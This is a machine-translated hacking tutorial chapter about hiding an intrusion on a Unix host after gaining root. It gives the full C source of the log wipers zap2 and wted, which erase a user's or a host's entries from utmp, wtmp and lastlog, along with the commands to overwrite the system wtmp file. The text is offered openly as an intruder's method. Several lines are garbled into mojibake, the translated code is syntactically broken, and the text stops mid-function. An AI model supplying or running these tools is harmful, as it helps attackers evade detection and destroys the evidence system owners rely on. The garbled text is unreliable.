There are many different log purge programs on the network, the best of which is zap2. After compilation, z2 runs the z2 program immediately after you obtain root access. This program runs very fast. You can use a finger@host.xxx to check whether there is a sp currently? What is it? Oot or admin idletime (idle time) to determine whether they are
There are many different log purge programs on the network, the best of which is zap2. After compilation, it is called z2
Run z2 immediately after you get the root access. This program runs very fast.
You can useFinger@ Host. xxx to check whether the sp agent is currently used? What is it? Oot or adminIdLeTime(Idle time)
To determine whether they have left the host.
Login ,? & UaCutE ;???? O óágia? 'Done? ? Wà '2? 'Idle timeo í ??? Úód ????? Á ?? Parameters ???? ? "W" 2? ′?? Í3ocí ?? Why? ? Limit 1
× ?? O3? Aroot ??? Üá? Why? 2 ?? Üí? Ê ± ?? DD ??? Too many ????????? Á? Root ?? & MiDdOt ;?? ~È? Áthi? 'Done? ? ./Z2 ??????
?? Í3? Ù ó ??? ?? §??? Bytes
Now you are much safer than just now. Use "w" or "again"Who"CommandCheck it out. Are you still changing the region? Tmp record. If you want
UseFtpOr some other commands, you may use the other two programs (wt) that I provide in this chapter.EdAnd lled.
Let's first complete the z2 program. You must understand the location of each file in your system to modify z2.c and include
File Path.
The following is the part you need to modify in the file header.
# Define WTMP_NAME "/usr/adm/wtmp"
# Define UTMP_NAME "/etc/utmp"
# Define LASTLOG_NAME "/usr/adm/lastlog"
In some systems, it should be:
# Define WTMP_NAME "/var/adm/wtmp"
# Define UTMP_NAME "/var/adm/utmp"
# Define LASTLOG_NAME "/var/adm/lastlog"
But you should check the location where these files are stored in the system you want to intrude. The/var/log directory is also a very likely path.
After the correct file path is modified, compile the file. Now, after you log on to z2, you are safe.
Here is the c program:
Z2.c
--------------------------- Cut here
# INcLude
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define WTMP_NAME "/usr/adm/wtmp"
# Define UTMP_NAME "/etc/utmp"
# Define LASTLOG_NAME "/usr/adm/lastlog"
Int f;
VoidKill_ Utmp (who)
Char * who;
{
STrUct utmp utmp_ent;
If (f = open (UTMP_NAME, O_RDWR)> = 0 ){
While (read (f, & utmp_ent, sizeof (utmp_ent)> 0)
If (! StrnCmp(Utmp_ent.ut_name, who, strlen (who ))){
Bzero (char *) & utmp_ent, sizeof (utmp_ent ));
LsEek (f,-(sizeof (utmp_ent), SEEK_CUR );
Write(F, & utmp_ent, sizeof (utmp_ent ));
}
Close (f );
}
}
Void kill_wtmp (who)
Char * who;
{
Struct utmp utmp_ent;
Long pos;
Pos = 1L;
If (f = open (WTMP_NAME, O_RDWR)> = 0 ){
While (pos! =-1L ){
Lseek (f,-(long) (sizeof (struct utmp) * pos), L_XTND );
If (read (f, & utmp_ent, sizeof (struct utmp) <0 ){
Pos =-1L;
} Else {
If (! Strncmp (utmp_ent.ut_name, who, strlen (who ))){
Bzero (char *) & utmp_ent, sizeof (struct utmp ));
Lseek (f,-(sizeof (struct utmp) * pos), L_XTND );
Write (f, & utmp_ent, sizeof (utmp_ent ));
Pos =-1L;
} Else pos + = 1L;
}
}
Close (f );
}
}
Void kill_lastlog (who)
Char * who;
{
StructPasswd*Pwd;
Struct lastlog newll;
If (pwd = getpwnam (who ))! = NULL ){
If (f = open (LASTLOG_NAME, O_RDWR)> = 0 ){
Lseek (f, (long) pwd-> pw_uid * sizeof (struct lastlog), 0 );
Bzero (char *) & newll, sizeof (newll ));
Write (f, (char *) & newll, sizeof (newll ));
Close (f );
}
} Else printf ("% s :? \ N ", who );
}
Main (argc, argv)
Int argc;
Char * argv [];
{
If (argc = 2 ){
Kill_lastlog (argv [1]);
Kill_wtmp (argv [1]);
Kill_utmp (argv [1]);
Printf ("Zap2! \ N ");
} Else
Printf ("Error. \ n ");
}
--------------------------- Cut here
--------------------------------------------------------------------------------
Other script programs
Let's start another part of this chapter. Assume that you have logged on to and executed z2, and you need to perform ftp to capture a file (Remember, as shown in Figure 1
Chapter, do not use ftp or telent to intrude the host ). Okay. You can access the system through ftp to capture several files or log on to the system.
In other accounts, you need to use the wted program now. Which wted program can you compile? Tmp log to clear records left by ftp.
You may also need to use lled? Astlog ).
After you modify the Log Path and compile the wted program, enter./wted and the following menu appears.
[8:25 pm] [/home/compile] wted
Usage: wted-h-f FILE-a-z-B-x-u USER-n USER-e USER-c HOST
-H This help
-F Use FILE instead of default: non-default FILE used
-A Show all entries found: Display all records
-U Show all entries for USER: displays all USER records
-B Show NULL entries: displays NULL records.
-E Erase USER completely clear all records of a USER
-C Erase all connections containing HOST clears all records from a HOST
-Z Show ZAP 'd entries ?? Why? ? ZAP '| maid ??????
-X Attempt to remove ZAP 'd entries completely é? 3yó? ZAP '| maid ??????
If your ftp user name is tsmith, you should use wted-x-e tsmith
This program will display a time when the user tsmith logs on and ask if you want to delete it. After you delete your logon record, remember
Chmod644 wtmp. tmp file, copy it to the directory of the log file, and overwrite yueshannai? O too many ??
1. chmod 644 wtmp. tmp
2.CpWtmp. tmp/var/adm/wtmp
The following is the wted program:
Important: Change the file in char to the correct path.
Wted. c
---------------------- Cut here
# Include
# Include
# Include
# Include
Char *File= "/Var/adm/wtmp ";
Main (argc, argv)
Int argc;
Char * argv [];
{
Int I;
If (argc = 1) usage ();
For (I = 1; I {
If (argv [I] [0] = '-')
{
Switch (argv [I] [1])
{
Case 'B': printents (""); break;
Case 'Z': printents ("Z4p"); break;
Case 'E': erase (argv [I + 1], 0); break;
Case 'C': erase (0, argv [I + 1]); break;
Case 'F': file = argv [I + 1]; break;
Case 'U': printents (argv [I + 1]); break;
Case 'A': printents ("*"); break;
Case 'X': remnull (argv [I + 1]); break;
Default: usage ();
}
}
}
}
Printents (name)
Char * name;
{
Struct utmp, * ptr;
Int fp =-1;
Ptr = & utmp;
If (fp = open (file, O_RDONLY ))
{
While (read (fp, & utmp, sizeof (struct utmp) = sizeof (struct utmp ))
{
If (! (Strcmp (name, ptr-> ut_name) | (name = "*") |
(! (Strcmp ("Z4p", name) & (ptr-> ut_time = 0 )))
Printinfo (ptr );
}
Close (fp );
}
}
Printinfo (ptr)
Struct utmp * ptr;
{
Char tmpstr [256];
Printf ("% s \ t", ptr-> ut_name );
Printf ("% s \ t", ptr-> ut_line );
StRcpY (tmpstr, ctime (& (ptr-> ut_time )));
Tmpstr [strlen (tmpstr)-1] = '\ 0 ';
Printf ("% s \ t", tmpstr );
Printf ("% s \ n", ptr-> ut_host );
}
Erase (name, host)
Char * name, * host;
{
Int fp =-1, fd =-1, tot = 0, cnt = 0, n = 0;
Struct utmp;
Unsigned char c;
If (fp = open (file, O_RDONLY )){
Fd = open ("wtmp. tmp", O_WRONLY | O_CREAT );
While (read (fp, & utmp, sizeof (struct utmp) = sizeof (struct utmp )){
If (host)
If (strstr (utmp. ut_host, host) tot ++;
Else {cnt ++; write (fd, & utmp, sizeof (struct utmp ));}
If (name ){
If (strcmp (utmp. ut_name, name) {cnt ++;
Write (fd, & utmp, sizeof (struct utmp ));}
Else {
If (n> 0 ){
N --; cnt ++;
Write (fd, & utmp, sizeof (struct utmp ));}
Else
{
Printinfo (& utmp );
Printf ("Erase entry (y/n/f (astforward ))? ");
C = 'a ';
While (c! = 'Y' & c! = 'N' & c! = 'F') c = getc (stdin );
If (c = 'F '){
Cnt ++;
Write (fd, & utmp, sizeof (struct utmp ));
Printf ("Fast forward how many entries? ");
Scanf ("% d", & n );}
If (c = 'n '){
Cnt ++;
Write (fd, & utmp, sizeof (struct utmp ));
}
If (c = 'y') tot ++;
}
}}
}
Close (fp );
Close (fd );
}
Printf ("Entries stored: % d Entries removed: % d \ n", cnt, tot );
Printf ("Now chmod wtmp. tmp and copy over the original % s \ n", file );
}
Remnull (name)
Char * name;
{